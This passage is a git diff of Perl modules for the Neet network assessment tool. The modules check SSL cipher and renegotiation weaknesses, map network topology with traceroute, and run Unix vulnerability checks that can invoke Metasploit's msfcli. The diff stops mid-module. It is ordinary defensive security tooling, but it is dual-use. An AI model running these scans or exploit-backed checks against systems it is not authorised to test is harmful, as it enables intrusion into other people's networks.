+ if ($pref){ + if ($cipher =~ /(NULL)/){ + $prefnull=1; next; + } + if ($cipher =~ /(\s56 bits)|(\s40 bits)/){ + $badpref=1; + } + } + if (($cipher =~ /Accepted/) && ($cipher =~ /(NULL)|(\s0 bits)/)){ + $null=1; next; + } + if (($cipher =~ /Accepted/) && ($cipher =~ /(\s40 bits)|(\s56 bits)/)){ + $weak=1; next; + } + if (($cipher =~ /Accepted/) && ($cipher =~ /SSLv2/)){ + $two=1; next; + } + } + if ($weak && $null){ + my $message="SSL service supports short keys and NULL ciphers"; + $MainScan->RecordVulnerability($target,"GSM-SSL-1",$message); + } elsif ($weak){ + my $message="SSL service supports short keys"; + $MainScan->RecordIssue($target,"GSM-SSL-2",$message); + } elsif ($null){ + my $message="SSL service supports NULL ciphers"; + $MainScan->RecordVulnerability($target,"GSM-SSL-3",$message); + } + if ($two){ + my $message="SSL service supports SSL protocol v2"; + $MainScan->RecordVulnerability($target,"GSM-SSL-4",$message); + } + if ($prefnull){ + my $message="SSL service negotiates NULL ciphers"; + $MainScan->RecordVulnerability($target,"GSM-SSL-5",$message); + } elsif ($badpref){ + my $message="SSL service negotiates insecure cipher suites"; + $MainScan->RecordVulnerability($target,"GSM-SSL-6",$message); + } + } else { + $Log->Error("GSM thread $threadID ($name -> $target): Couldn't check SSL ciphers - error $error"); + } + + my $openssl=$MainScan->getPath("openssl"); + my $vhost=""; + $MainScan->TimedSystem(20,"echo | $openssl s_client -connect ${host}:${port} > ${outputDir}/raw/openssl-${port}.txt 2>&1"); + my @sslFile=$MainScan->ReadFile("${outputDir}/raw/openssl-${port}.txt"); + for my $l (@sslFile){ + next if (!$l); + if ($l =~ /^subject=/){ + chomp $l; + my ($a,$b)=split "CN=", $l; + $vhost=$b if ((length($b)>3) && ($b !~ /\*/)); + last; + } + } + + my $setHostsEntry=0; + if ($vhost ne $host){ + # Set the hostname mapping in /etc/hosts. + # $MainScan->SetStatValue("/etc/hosts","$host","$vhost"); + # $setHostsEntry=1; + $MainScan->SetStatValue("$outputDir/hostInfo.txt","vhost","$vhost"); + } + + # Check for insecure renegotiation + $MainScan->TimedSystem(20,"echo R | $openssl s_client -connect ${host}:${port} > ${outputDir}/raw/openssl-renegotiate-${port}.txt 2>&1"); + @sslFile=$MainScan->ReadFile("${outputDir}/raw/openssl-renegotiate-${port}.txt"); + my ($secureSupported,$renegotiated)=(1,0); + for my $l (@sslFile){ + next if (!$l); + if (index($l,"Secure Renegotiation IS NOT supported") == 0){ + $secureSupported=0; + } + if (index($l,"RENEGOTIATING") == 0){ + $renegotiated=1; + } + } + if ($renegotiated && !$secureSupported){ + my $message="SSL service supports insecure renegotiaton"; + $MainScan->RecordIssue($target,"GSM-SSL-7",$message); + } + + + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + #>>>>>>>>>>>>> End of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + + # Don't modify anything below this line. + $self->SetScanComplete("$name","$target"); + } else { + $Log->Status ("GSM $name (thread $threadID) -> $socket already scanned - skipping\n","LOGONLY"); + } + $Log->Status ("GSM $name (thread $threadID) -> $socket FINISHED scanning\n"); + return 0; +} + +sub SingleScan { + my $self=shift; + return $$self{'OnePerHost'}; +} + +sub Name { + my $self=shift(); + return $$self{'Name'}; +} +sub Cost { + my $self=shift(); + return $$self{'Cost'}; +} +sub Enabled { + my $self=shift(); + return $$self{'Enabled'}; +} +sub Watching { + my $self=shift(); + return @{$$self{'WatchFiles'}}; +} + +sub TargetSpec { + my $self=shift(); + my $targetSpec=shift(); + if (!defined($targetSpec)){ + return $$self{'TargetSpec'}; + } else { + $$self{'TargetSpec'}=$targetSpec; + } +} + +sub IsScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + return $MainScan->GetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); +} + +sub SetScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + $MainScan->SetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); + return 1; +} + +sub SetScanInComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + if ($MainScan->DelStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName)){ + return 1; + } else { + return 0; + } +} +sub MaxInstances { + my $self=shift(); + return $$self{'MaxInstances'}; +} +sub ConflictsWith { + my $self=shift(); + return @{$$self{'ConflictingModules'}}; +} + +1; diff --git a/content/Template/Template.gsm.temp b/content/Template/Template.gsm.temp new file mode 100644 index 0000000..0468829 --- /dev/null +++ b/content/Template/Template.gsm.temp @@ -0,0 +1,236 @@ +# This Template is provided for use as a basis for your own modules. + +# In case you haven't guessed, this is written in PERL. The code is run in a 'strict' environment, so +# make sure to use "my" to limit the scope of your variables, or the module will fail to load. + +# The only code areas you should modify are: + +# * The "Customise these parameters" area in the "new" subroutine +# * The code for the actual test in the "activate" subroutine, after "Beginning of module-specific code" +# and before "End of module-specific code". + +# The rest of the code should remain unmodified. You may wish to remove a lot of these example comments +# for the sake of readability of your code. +package __TEMPLATE__; + +sub new { + my $pkg=shift(); + my %struct; + $struct{'Name'}=$pkg; + $struct{'MainScan'}=shift(); + my $self=\%struct; + bless $self, $pkg; + + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + # Customise these parameters + + # If $struct{'Enabled'} is 0, the module won't be loaded, and therefore won't test anything. + # As this is a template module, we don't really want it to run. + $struct{'Enabled'}=0; + + # If your module only tests a UDP or TCP service, put a lower-case protocol name in $struct{'Protocol'}. + $struct{'Protocol'}=''; + + # @{$struct{'WatchFiles'}} is an array of files to watch in the "services" directory. + # You can specify more than one. If any of them change, your module will be activated with the new services. + @{$struct{'WatchFiles'}}=("__SERVICE__.txt"); + + # Cost is used to determine how resource-intensive your module is. As modules are started, their cost is added + # up, and once the budget is reached, no more modules will start until some finish and release more budget. + # As a rule, 10 is a lightweight test, and 100 is something intensive like nikto or an SMB brute-force. + $struct{'Cost'}=30; + + # $struct{'OnePerHost'} should be 0 if more than one instance of this service is to be tested per host. Most + # modules will be set this way. If it is set to 1, then your module will only be told about the host IP, and + # not a protocol or port. Services such as SMB are typically need a setting of 1, otherwise all the SMB tests + # will be performed on both 139 and 445. + $struct{'OnePerHost'}=0; + + # $struct{'MaxInstances'} determines the maximum number of instances of this service that are allowed to run + # simultaneously, even if there is room in the budget to run more. This is to prevent some modules hogging + # all the resources. A value of 0 means that there is no limit (apart from the budget constraints). + $struct{'MaxInstances'}=0; + + # $struct{'ConflictingModules'} is an array containing the names (without file extensions) of modules which + # should prevent this one from running. + @{$struct{'ConflictingModules'}}=(''); + + # End parameter customisation + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + + return $self; +} + +sub activate { + # This is the subroutine that contains the actual code. + # First, some code which will be common to all modules - setting up the environment + my $self=shift(); + my $MainScan=$$self{'MainScan'}; + my $target=shift(); + my $file=shift(); + my $threadID=Neet::threads->tid; + my $cost=$$self{'Cost'}; + my $name=$$self{'Name'}; + my $Config=$MainScan->Config; + my $Log=$MainScan->Log; + my ($host,$protport) = split (":", $target); + my $socket=$host; + my ($protocol,$port); + my $BasePrefix=$Config->GetVal("BasePrefix"); + my $outputDir=$MainScan->ResultsDirectory . "/$host"; + my $resourceDir=$MainScan->ResourceDirectory . "/modules/$name"; + my ($targetType,$interface)=$MainScan->IsHostLocal($host); + ($protocol,$port) = split ("/", $protport) if ($protport); + $socket .= ":$port" if ($port); + return 0 if ($protocol && $$self{'Protocol'} && ("$protocol" ne "$$self{'Protocol'}")); + # Don't scan if the host is cancelled + if ($MainScan->IsHostCancelled($host)){ + $Log->Status ("$name (thread $threadID) -> scans against $target CANCELLED\n","LOGONLY"); + return 0; + } + $0 = "Neet - GSM: $name thread $threadID testing $target"; + + if (!$self->IsScanComplete("$name","$target")){ + # Tell the user what we're doing + $Log->Status ("GSM $name (thread $threadID) -> Scanning $socket ($targetType $interface)\n"); + + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + #>>>>>>>>>>>>> Beginning of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + + # These are the variables you can use in your code: + # $target - the raw target specification as it is supplied to this subroutine by the scheduler. + # Unless you want to process this for any particular reason, you're better off using the + # $host, $protocol, $port or $socket variables below. + # $file - the filename from which the target was selected. This is useful when your module is monitoring + # multiple files. You can use this to alter the behaviour of your module accordingly. + # $host - the IP address of the target + # $port - the port on which the service is listening (not set for "OnePerHost" modules) + # $protocol - the protocol on which the service is listening (not set for "OnePerHost" modules) + # $socket - same as $host, unless $port is set, in which case it is set to "$host:$port". + # $name - the name of this module + # $cost - the cost of this module + # $threadID - the Perl ithread ID for this thread + # $outputDir - the full absolute path to the directory of results for this $host + # $resourceDir - the full absolute path to the directory of resources for this module. + # This is normally /opt/neet/resources/modules/$name, so for this + # module, $resourceDir would be /opt/neet/resources/modules/Example + # $BasePrefix - the full absolute path to the neet installation - usually /opt/neet + + # These are the objects you can access + # $self - This module + # $MainScan - MainScan object, which provides most of neet's method calls. + # $Config - The interface to the configuration file + # $Log - The interface to the logging and screen printing mechanism + + # The API for recording issues is as follows: + # RecordIssue(target, label, text) + # RecordVulnerability(target, label, text) + # RecordCompromise(target, label, text) + # StoreGuessedPassword(target, level, service, username, password, label, text) + # MissingPatch(target, level, service, patch, label, text) + # ConfigError(target, level, label, text) + + # Include any Perl modules you may require + + # Set up the signal handler for exiting cleanly + $SIG{'USR1'}=sub{ + $self->SetScanInComplete("$name","$target"); + Neet::threads->exit(); + }; + + # And now the code for the actual test: + + # <<< CODE GOES HERE >>> + + + + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + #>>>>>>>>>>>>> End of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + + # Don't modify anything below this line. + $self->SetScanComplete("$name","$target"); + } else { + $Log->Status ("GSM $name (thread $threadID) -> $socket already scanned - skipping\n","LOGONLY"); + } + $Log->Status ("GSM $name (thread $threadID) -> $socket FINISHED scanning\n"); + return 0; +} + +sub SingleScan { + my $self=shift; + return $$self{'OnePerHost'}; +} + +sub Name { + my $self=shift(); + return $$self{'Name'}; +} +sub Cost { + my $self=shift(); + return $$self{'Cost'}; +} +sub Enabled { + my $self=shift(); + return $$self{'Enabled'}; +} +sub Watching { + my $self=shift(); + return @{$$self{'WatchFiles'}}; +} + +sub TargetSpec { + my $self=shift(); + my $targetSpec=shift(); + if (!defined($targetSpec)){ + return $$self{'TargetSpec'}; + } else { + $$self{'TargetSpec'}=$targetSpec; + } +} + +sub IsScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + return $MainScan->GetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); +} + +sub SetScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + $MainScan->SetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); + return 1; +} + +sub SetScanInComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + if ($MainScan->DelStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName)){ + return 1; + } else { + return 0; + } +} +sub MaxInstances { + my $self=shift(); + return $$self{'MaxInstances'}; +} +sub ConflictsWith { + my $self=shift(); + return @{$$self{'ConflictingModules'}}; +} + +1; diff --git a/content/Topology/Topology.gsm b/content/Topology/Topology.gsm new file mode 100644 index 0000000..7dea734 --- /dev/null +++ b/content/Topology/Topology.gsm @@ -0,0 +1,270 @@ +########################################################################## +# +# Neet: Network discovery, enumeration and security assessment tool +# Copyright (C) 2008-2014 Jonathan Roach +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# Contact: jonnyhightower [at] funkygeek.com +# +########################################################################## + +# This Template is provided for use as a basis for your own modules. + +# In case you haven't guessed, this is written in PERL. The code is run in a 'strict' environment, so +# make sure to use "my" to limit the scope of your variables, or the module will fail to load. + +# The only code areas you should modify are: + +# * The "Customise these parameters" area in the "new" subroutine +# * The code for the actual test in the "activate" subroutine, after "Beginning of module-specific code" +# and before "End of module-specific code". + +# The rest of the code should remain unmodified. You may wish to remove a lot of these example comments +# for the sake of readability of your code. +package Topology; + +sub new { + my $pkg=shift(); + my %struct; + $struct{'Name'}=$pkg; + $struct{'MainScan'}=shift(); + my $self=\%struct; + bless $self, $pkg; + + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + # Customise these parameters + + # If $struct{'Enabled'} is 0, the module won't be loaded, and therefore won't test anything. + # As this is a template module, we don't really want it to run. + $struct{'Enabled'}=1; + + # If your module only tests a UDP or TCP service, put a lower-case protocol name in $struct{'Protocol'}. + $struct{'Protocol'}=''; + + # @{$struct{'WatchFiles'}} is an array of files to watch in the "services" directory. + # You can specify more than one. If any of them change, your module will be activated with the new services. + @{$struct{'WatchFiles'}}=("../liveHosts.txt"); + + # Cost is used to determine how resource-intensive your module is. As modules are started, their cost is added + # up, and once the budget is reached, no more modules will start until some finish and release more budget. + # As a rule, 10 is a lightweight test, and 100 is something intensive like nikto or an SMB brute-force. + $struct{'Cost'}=3; + + # $struct{'OnePerHost'} should be 0 if more than one instance of this service is to be tested per host. Most + # modules will be set this way. If it is set to 1, then your module will only be told about the host IP, and + # not a protocol or port. Services such as SMB are typically need a setting of 1, otherwise all the SMB tests + # will be performed on both 139 and 445. + $struct{'OnePerHost'}=1; + + # $struct{'MaxInstances'} determines the maximum number of instances of this service that are allowed to run + # simultaneously, even if there is room in the budget to run more. This is to prevent some modules hogging + # all the resources. A value of 0 means that there is no limit (apart from the budget constraints). + $struct{'MaxInstances'}=5; + + # $struct{'ConflictingModules'} is an array containing the names (without file extensions) of modules which + # should prevent this one from running. + @{$struct{'ConflictingModules'}}=(''); + + # End parameter customisation + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + + return $self; +} + +sub activate { + # This is the subroutine that contains the actual code. + # First, some code which will be common to all modules - setting up the environment + my $self=shift(); + my $MainScan=$$self{'MainScan'}; + my $target=shift(); + my $file=shift(); + my $threadID=Neet::threads->tid; + my $cost=$$self{'Cost'}; + my $name=$$self{'Name'}; + my $Config=$MainScan->Config; + my $Log=$MainScan->Log; + my ($host,$protport) = split (":", $target); + my $socket=$host; + my ($protocol,$port); + my $BasePrefix=$Config->GetVal("BasePrefix"); + my $outputDir=$MainScan->ResultsDirectory . "/$host"; + my $resourceDir=$MainScan->ResourceDirectory . "/modules/$name"; + my ($targetType,$interface)=$MainScan->IsHostLocal($host); + ($protocol,$port) = split ("/", $protport) if ($protport); + $socket .= ":$port" if ($port); + return 0 if ($protocol && $$self{'Protocol'} && ("$protocol" ne "$$self{'Protocol'}")); + # Don't scan if the host is cancelled + if ($MainScan->IsHostCancelled($host)){ + $Log->Status ("$name (thread $threadID) -> scans against $target CANCELLED\n","LOGONLY"); + return 0; + } + $0 = "Neet - GSM: $name thread $threadID testing $target"; + + if (!$self->IsScanComplete("$name","$target")){ + # Tell the user what we're doing + $Log->Status ("GSM $name (thread $threadID) -> Scanning $socket ($targetType $interface)\n"); + + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + #>>>>>>>>>>>>> Beginning of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + + # These are the variables you can use in your code: + # $target - the raw target specification as it is supplied to this subroutine by the scheduler. + # Unless you want to process this for any particular reason, you're better off using the + # $host, $protocol, $port or $socket variables below. + # $file - the filename from which the target was selected. This is useful when your module is monitoring + # multiple files. You can use this to alter the behaviour of your module accordingly. + # $host - the IP address of the target + # $port - the port on which the service is listening (not set for "OnePerHost" modules) + # $protocol - the protocol on which the service is listening (not set for "OnePerHost" modules) + # $socket - same as $host, unless $port is set, in which case it is set to "$host:$port". + # $name - the name of this module + # $cost - the cost of this module + # $threadID - the Perl ithread ID for this thread + # $outputDir - the full absolute path to the directory of results for this $host + # $resourceDir - the full absolute path to the directory of resources for this module. + # This is normally /usr/local/share/neet/resources/modules/$name, so for this + # module, $resourceDir would be /usr/local/share/neet/resources/modules/Example + # $BasePrefix - the full absolute path to the neet installation - usuall /usr/local/share/neet + + # These are the objects you can access + # $self - This module + # $MainScan - MainScan object, which provides most of neet's method calls. + # $Config - The interface to the configuration file + # $Log - The interface to the logging and screen printing mechanism + + # The API for recording issues is as follows: + # RecordIssue(target, label, text) + # RecordVulnerability(target, label, text) + # RecordCompromise(target, label, text) + # StoreGuessedPassword(target, level, service, username, password, label, text) + # MissingPatch(target, level, service, patch, label, text) + # ConfigError(target, level, label, text) + + # Include any Perl modules you may require + + # Set up the signal handler for exiting cleanly + $SIG{'USR1'}=sub{ + $self->SetScanInComplete("$name","$target"); + Neet::threads->exit(); + }; + + # And now the code for the actual test: + mkdir "${outputDir}/topology"; + + # TODO Request the netmask from the remote host + + if ("$targetType" eq "local"){ + my $rc=$MainScan->System("${BasePrefix}/bin/fwdetect $host -q"); + if (!$rc){ + $MainScan->SetListItem($MainScan->ResultsDirectory . "/forwarding.txt",$host); + } + } else { + # Traceroute, ping -R, tcptraceroute and Forwarding checks + $MainScan->System($MainScan->getPath("traceroute") . " -I -m 20 -n -w 3 $host > ${outputDir}/topology/iCMPtraceroute.txt 2>&1"); + $MainScan->System($MainScan->getPath("traceroute") . " -m 20 -n -w 3 $host > ${outputDir}/topology/uDPtraceroute.txt 2>&1"); + $MainScan->System($MainScan->getPath("tcptraceroute") . " $host 80 > ${outputDir}/topology/tCPtraceroute.txt 2>&1"); + $MainScan->System("ping -R -c1 -n $host > ${outputDir}/topology/ping-R.txt 2>&1"); + } + + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + #>>>>>>>>>>>>> End of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + + # Don't modify anything below this line. + $self->SetScanComplete("$name","$target"); + } else { + $Log->Status ("GSM $name (thread $threadID) -> $socket already scanned - skipping\n","LOGONLY"); + } + $Log->Status ("GSM $name (thread $threadID) -> $socket FINISHED scanning\n"); + return 0; +} + +sub SingleScan { + my $self=shift; + return $$self{'OnePerHost'}; +} + +sub Name { + my $self=shift(); + return $$self{'Name'}; +} +sub Cost { + my $self=shift(); + return $$self{'Cost'}; +} +sub Enabled { + my $self=shift(); + return $$self{'Enabled'}; +} +sub Watching { + my $self=shift(); + return @{$$self{'WatchFiles'}}; +} + +sub TargetSpec { + my $self=shift(); + my $targetSpec=shift(); + if (!defined($targetSpec)){ + return $$self{'TargetSpec'}; + } else { + $$self{'TargetSpec'}=$targetSpec; + } +} + +sub IsScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + return $MainScan->GetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); +} + +sub SetScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + $MainScan->SetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); + return 1; +} + +sub SetScanInComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + if ($MainScan->DelStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName)){ + return 1; + } else { + return 0; + } +} +sub MaxInstances { + my $self=shift(); + return $$self{'MaxInstances'}; +} +sub ConflictsWith { + my $self=shift(); + return @{$$self{'ConflictingModules'}}; +} + +1; diff --git a/content/UnixVA/UnixVA.gsm b/content/UnixVA/UnixVA.gsm new file mode 100644 index 0000000..cdd29d7 --- /dev/null +++ b/content/UnixVA/UnixVA.gsm @@ -0,0 +1,394 @@ +########################################################################## +# +# Neet: Network discovery, enumeration and security assessment tool +# Copyright (C) 2008-2014 Jonathan Roach +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# Contact: jonnyhightower [at] funkygeek.com +# +########################################################################## + +# This Template is provided for use as a basis for your own modules. + +# In case you haven't guessed, this is written in PERL. The code is run in a 'strict' environment, so +# make sure to use "my" to limit the scope of your variables, or the module will fail to load. + +# The only code areas you should modify are: + +# * The "Customise these parameters" area in the "new" subroutine +# * The code for the actual test in the "activate" subroutine, after "Beginning of module-specific code" +# and before "End of module-specific code". + +# The rest of the code should remain unmodified. You may wish to remove a lot of these example comments +# for the sake of readability of your code. +package UnixVA; + +sub new { + my $pkg=shift(); + my %struct; + $struct{'Name'}=$pkg; + $struct{'MainScan'}=shift(); + my $self=\%struct; + bless $self, $pkg; + + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + # Customise these parameters + + # If $struct{'Enabled'} is 0, the module won't be loaded, and therefore won't test anything. + # As this is a template module, we don't really want it to run. + $struct{'Enabled'}=1; + + # If your module only tests a UDP or TCP service, put a lower-case protocol name in $struct{'Protocol'}. + $struct{'Protocol'}=''; + + # @{$struct{'WatchFiles'}} is an array of files to watch in the "services" directory. + # You can specify more than one. If any of them change, your module will be activated with the new services. + @{$struct{'WatchFiles'}}=("../unix.txt"); + + # Cost is used to determine how resource-intensive your module is. As modules are started, their cost is added + # up, and once the budget is reached, no more modules will start until some finish and release more budget. + # As a rule, 10 is a lightweight test, and 100 is something intensive like nikto or an SMB brute-force. + $struct{'Cost'}=50; + + # $struct{'OnePerHost'} should be 0 if more than one instance of this service is to be tested per host. Most + # modules will be set this way. If it is set to 1, then your module will only be told about the host IP, and + # not a protocol or port. Services such as SMB are typically need a setting of 1, otherwise all the SMB tests + # will be performed on both 139 and 445. + $struct{'OnePerHost'}=1; + + # $struct{'MaxInstances'} determines the maximum number of instances of this service that are allowed to run + # simultaneously, even if there is room in the budget to run more. This is to prevent some modules hogging + # all the resources. A value of 0 means that there is no limit (apart from the budget constraints). + $struct{'MaxInstances'}=1; + + # $struct{'ConflictingModules'} is an array containing the names (without file extensions) of modules which + # should prevent this one from running. + @{$struct{'ConflictingModules'}}=(''); + + # End parameter customisation + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + + return $self; +} + +sub activate { + # This is the subroutine that contains the actual code. + # First, some code which will be common to all modules - setting up the environment + my $self=shift(); + my $MainScan=$$self{'MainScan'}; + my $target=shift(); + my $file=shift(); + my $threadID=Neet::threads->tid; + my $cost=$$self{'Cost'}; + my $name=$$self{'Name'}; + my $Config=$MainScan->Config; + my $Log=$MainScan->Log; + my ($host,$protport) = split (":", $target); + my $socket=$host; + my ($protocol,$port); + my $BasePrefix=$Config->GetVal("BasePrefix"); + my $outputDir=$MainScan->ResultsDirectory . "/$host"; + my $resourceDir=$MainScan->ResourceDirectory . "/modules/$name"; + my ($targetType,$interface)=$MainScan->IsHostLocal($host); + ($protocol,$port) = split ("/", $protport) if ($protport); + $socket .= ":$port" if ($port); + return 0 if ($protocol && $$self{'Protocol'} && ("$protocol" ne "$$self{'Protocol'}")); + # Don't scan if the host is cancelled + if ($MainScan->IsHostCancelled($host)){ + $Log->Status ("$name (thread $threadID) -> scans against $target CANCELLED\n","LOGONLY"); + return 0; + } + $0 = "Neet - GSM: $name thread $threadID testing $target"; + + if (!$self->IsScanComplete("$name","$target")){ + # Tell the user what we're doing + $Log->Status ("GSM $name (thread $threadID) -> Scanning $socket ($targetType $interface)\n"); + + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + #>>>>>>>>>>>>> Beginning of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + + # These are the variables you can use in your code: + # $target - the raw target specification as it is supplied to this subroutine by the scheduler. + # Unless you want to process this for any particular reason, you're better off using the + # $host, $protocol, $port or $socket variables below. + # $file - the filename from which the target was selected. This is useful when your module is monitoring + # multiple files. You can use this to alter the behaviour of your module accordingly. + # $host - the IP address of the target + # $port - the port on which the service is listening (not set for "OnePerHost" modules) + # $protocol - the protocol on which the service is listening (not set for "OnePerHost" modules) + # $socket - same as $host, unless $port is set, in which case it is set to "$host:$port". + # $name - the name of this module + # $cost - the cost of this module + # $threadID - the Perl ithread ID for this thread + # $outputDir - the full absolute path to the directory of results for this $host + # $resourceDir - the full absolute path to the directory of resources for this module. + # This is normally /usr/local/share/neet/resources/modules/$name, so for this + # module, $resourceDir would be /usr/local/share/neet/resources/modules/Example + # $BasePrefix - the full absolute path to the neet installation - usuall /usr/local/share/neet + + # These are the objects you can access + # $self - This module + # $MainScan - MainScan object, which provides most of neet's method calls. + # $Config - The interface to the configuration file + # $Log - The interface to the logging and screen printing mechanism + + # The API for recording issues is as follows: + # RecordIssue(target, label, text) + # RecordVulnerability(target, label, text) + # RecordCompromise(target, label, text) + # StoreGuessedPassword(target, level, service, username, password, label, text) + # MissingPatch(target, level, service, patch, label, text) + # ConfigError(target, level, label, text) + + # Include any Perl modules you may require + use Neet::VceConfig; + + # Set up the signal handler for exiting cleanly + $SIG{'USR1'}=sub{ + $self->SetScanInComplete("$name","$target"); + Neet::threads->exit(); + }; + + # And now the code for the actual test: + + my $pluginDir="${resourceDir}/plugins"; + my $Vce=Neet::VceConfig->new ("/opt/neet/etc/vce.conf"); + my $vulns=0; + my $Timeout=$Config->GetVal("Speeds.$targetType.UnixVA." . $MainScan->Speed); + my $autoExploited=0; + my $msf2cli="${BasePrefix}/pkg/framework2/msfcli"; + my $msf2dir="${BasePrefix}/pkg/framework2"; + my $msfdir="/opt/metasploit/app"; + my $msfcli="${msfdir}/msfcli"; + my $bindir="${BasePrefix}/pkg/bin"; + + # Solaris + for my $check ($Vce->Checks("Solaris")){ + + if (!$self->IsScanComplete("check$check",$target)){ + + my ($ctype,$cname,$desc,$cve,$bid,$testcmd,$testvulnout)=("","","","","","",""); + my $enabled=0; + + $ctype=$Vce->Type("$check"); + + $cname=$Vce->Name("$check"); + $enabled=$Vce->Enabled("$check"); + if (!$enabled){ + $Log->Info ("GSM thread $threadID ($name -> $target): not running disabled check $cname on $host\n",'LOGONLY'); + next; + } + + $desc=$Vce->Desc("$check"); + $bid=$Vce->Bid("$check"); + $cve=$Vce->Cve("$check"); + $testcmd=$Vce->Check("$check"); + $testcmd =~ s/=HOST/=$host/g; $testcmd =~ s/ HOST/ $host/g; $testcmd =~ s/PLUGINDIR/$pluginDir/g; $testcmd =~ s/MSFCLI/$msfcli/g; $testcmd =~ s/MSF2CLI/cd ${msfdir} && .\/msfcli/g; $testcmd =~ s/\[BIN\]/$bindir/g; + $testvulnout=$Vce->Vuln("$check"); + + my ($cmd,$args)=split (" ", $testcmd, 2); + + if (index($cmd,"/") ne 0){ + my $pathToCmd = $MainScan->getPath("$cmd"); + if ($pathToCmd){ + $testcmd = "$pathToCmd $args"; + } + } + + my $scandata = "$check $cname\t($desc)"; + $scandata .= " "; + $scandata .= $bid if ($bid); + $scandata .= " "; + $scandata .= $cve if ($cve); + + $Log->Info ("GSM thread $threadID ($name -> $target): running check $cname on $host\n",'LOGONLY'); + my $_vuln=0; + #print "Unix check $check $testcmd\n"; + + my ($rc,@testout)=$MainScan->TimedBackticks($Timeout,$testcmd); + my $_testout = join "==", @testout; + if ($_testout && $_testout =~ /$testvulnout/){ + $_vuln=1; + } + + if ($rc == 99){ + $Log->Warn("GSM thread $threadID ($name -> $target): $cname timed out","LOGONLY"); + } else { + if ($_vuln){ + $MainScan->MissingPatch($target, "vuln", "UnixVA", "$check", "GSM-UnixVA-$check", "$scandata"); + $vulns++; + } + } + last if ($MainScan->WasPaused); + $self->SetScanComplete("check$check",$target); + } else { + $Log->OK("GSM thread $threadID ($name -> $target): $plugin previously completed - skipping",'LOGONLY'); + } + } # END SOLARIS + + + # General Unix + for my $check ($Vce->Checks("Unix")){ + + if (!$self->IsScanComplete("check$check",$target)){ + + my 